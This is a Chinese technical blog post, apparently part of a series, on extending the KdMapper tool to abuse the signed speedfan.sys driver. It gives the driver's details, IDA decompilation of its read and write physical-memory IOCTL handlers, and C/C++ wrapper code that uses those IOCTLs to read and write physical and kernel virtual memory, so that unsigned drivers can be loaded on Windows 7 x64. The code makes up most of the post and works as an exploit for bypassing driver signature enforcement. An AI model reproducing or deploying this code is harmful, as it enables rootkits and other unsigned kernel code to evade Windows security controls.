2023年10月10日 KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)

发布时间 2023-10-11 10:56:51作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 speedfan.sys 
时间戳 50DF59B7
MD5 0FFE35F0B0CD5A324BBE22F02569AE3B
文件版本 2.3.11.0
设备名称 \\.\SpeedFan
读物理内存 0x9C402428
写物理内存 0x9C40242C
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return CreateDevice(DriverObject, RegistryPath);
}

 

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS result; // eax
        _UNICODE_STRING* v5; // rdi
        size_t v6; // rax
        __int64 v7; // r8
        NTSTATUS v8; // eax
        NTSTATUS v9; // edi
        __int64 v10; // [rsp+20h] [rbp-38h]
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREF

        RtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);
        result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
        if (result >= 0)
        {
                DeviceObject->Flags |= 4u;
                v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
                *(_DWORD*)&v5[2].Length = 0;
                *(_DWORD*)(&v5[2].MaximumLength + 1) = 0;
                LODWORD(v5[2].Buffer) = 0;
                v5[1].MaximumLength = RegistryPath->MaximumLength;
                v6 = RegistryPath->Length;
                v5[1].Buffer = &v5[7].Length;
                v5[1].Length = v6;
                memmove(&v5[7], RegistryPath->Buffer, v6);
                sub_175B4(v5);
                if ((int)sub_176C8(v5) >= 0)
                {
                        v7 = *(unsigned int*)&v5[2].Length;
                        if (_bittest((const int*)&v7, 0x1Du))
                        {
                                LODWORD(v10) = v5[2].Buffer;
                                DbgPrint(
                                        "SpeedFan %s  Built Dec 29 2012 21:59:34  Debug %08X  Break %08X  Setup %08X\n",
                                        aX20311,
                                        v7,
                                        *(unsigned int*)(&v5[2].MaximumLength + 1),
                                        v10);
                        }
                }
                v8 = IoCreateSymbolicLink(v5, &DestinationString);
                v9 = v8;
                if (v8 >= 0 || v8 == 0xC0000035)
                {
                        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;
                        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;
                        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;
                        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
                        result = 0;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                        result = v9;
                }
        }
        return result;
}

 

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        int ntStatus; // ebx
        PHYSICAL_ADDRESS* pMemoryInfo; // rdi
        unsigned int nInputBufferLength; // er12
        SIZE_T nOutputBufferLength; // r13
        unsigned int nIoControlCode; // esi
   
        LONGLONG PhysicalAddressV31; // rbx
        PVOID pMappedIoSpaceV32; // rax
        void* pMappedIoSpaceV33; // r14
        LONGLONG PhysicalAddressV34; // rbx
        PVOID pMappedIoSpaceV35; // rax
        void* pMappedIoSpaceV36; // r14

        void* Dst; // [rsp+20h] [rbp-D8h]

        LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]
        LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]

        void* PhysicalAddress; // [rsp+100h] [rbp+8h]
        IRP* Irp; // [rsp+108h] [rbp+10h]

        Irp = pIrp;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;

        pIrp->IoStatus.Information = 0i64;
        ntStatus = 0xC0000023;
        pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;

        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        ......
                switch (nIoControlCode)
                {
                case 0x9C402428:
                        if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存
                        {
                                PhysicalAddressV34 = pMemoryInfo->QuadPart;
                                PhysicalAddressV53 = pMemoryInfo->QuadPart;
                                pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);
                                pMappedIoSpaceV36 = pMappedIoSpaceV35;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV35;
                                if (pMappedIoSpaceV35)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nOutputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_READ       ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV53),
                                                        (unsigned int)PhysicalAddressV34,
                                                        pMappedIoSpaceV35,
                                                        v47);
                                        }
                                        memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);
                                        Irp->IoStatus.Information = nOutputBufferLength;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;
                case 0x9C40242C:
                        if (nInputBufferLength > 8)         // 写物理内存
                        {
                                PhysicalAddressV31 = pMemoryInfo->QuadPart;
                                PhysicalAddressV52 = pMemoryInfo->QuadPart;
                                nInputBufferLength -= 8;
                                pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);
                                pMappedIoSpaceV33 = pMappedIoSpaceV32;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV32;
                                if (pMappedIoSpaceV32)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nInputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_WRITE      ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV52),
                                                        (unsigned int)PhysicalAddressV31,
                                                        pMappedIoSpaceV32,
                                                        v47);
                                        }
                                        memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);
                                        Irp->IoStatus.Information = 0i64;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;

                LABEL_145:
                        if (ntStatus >= 0)
                                goto LABEL_149;
                        v5 = v51;
                        goto LABEL_147;
                }

        ......

LABEL_149:
        Irp->IoStatus.Status = ntStatus;
        IofCompleteRequest(Irp, 0);
        return (unsigned int)ntStatus;
}

  其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。

 

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define SPEEDFAN_DEVICE_TYPE          (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B

#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY      \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C

 

4.2 .c文件

NTSTATUS sokno_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL sokno_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;

        __try {

                if (DoWrite) 
                {
                        PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);
                        if (pWriteInfo)
                        {
                                pWriteInfo->QuadPart = PhysicalAddress;
                                RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);
                                if (!bResult)
                                {
                                        Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
                                }
                        }
                        else
                        {
                                Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");
                        }
                }
                else {
                        PHYSICAL_ADDRESS address;
                        address.QuadPart = PhysicalAddress;
                        bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);
                        if (!bResult)
                        {
                                Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

 

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  

 

6.特别提示

  使用speedfan.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。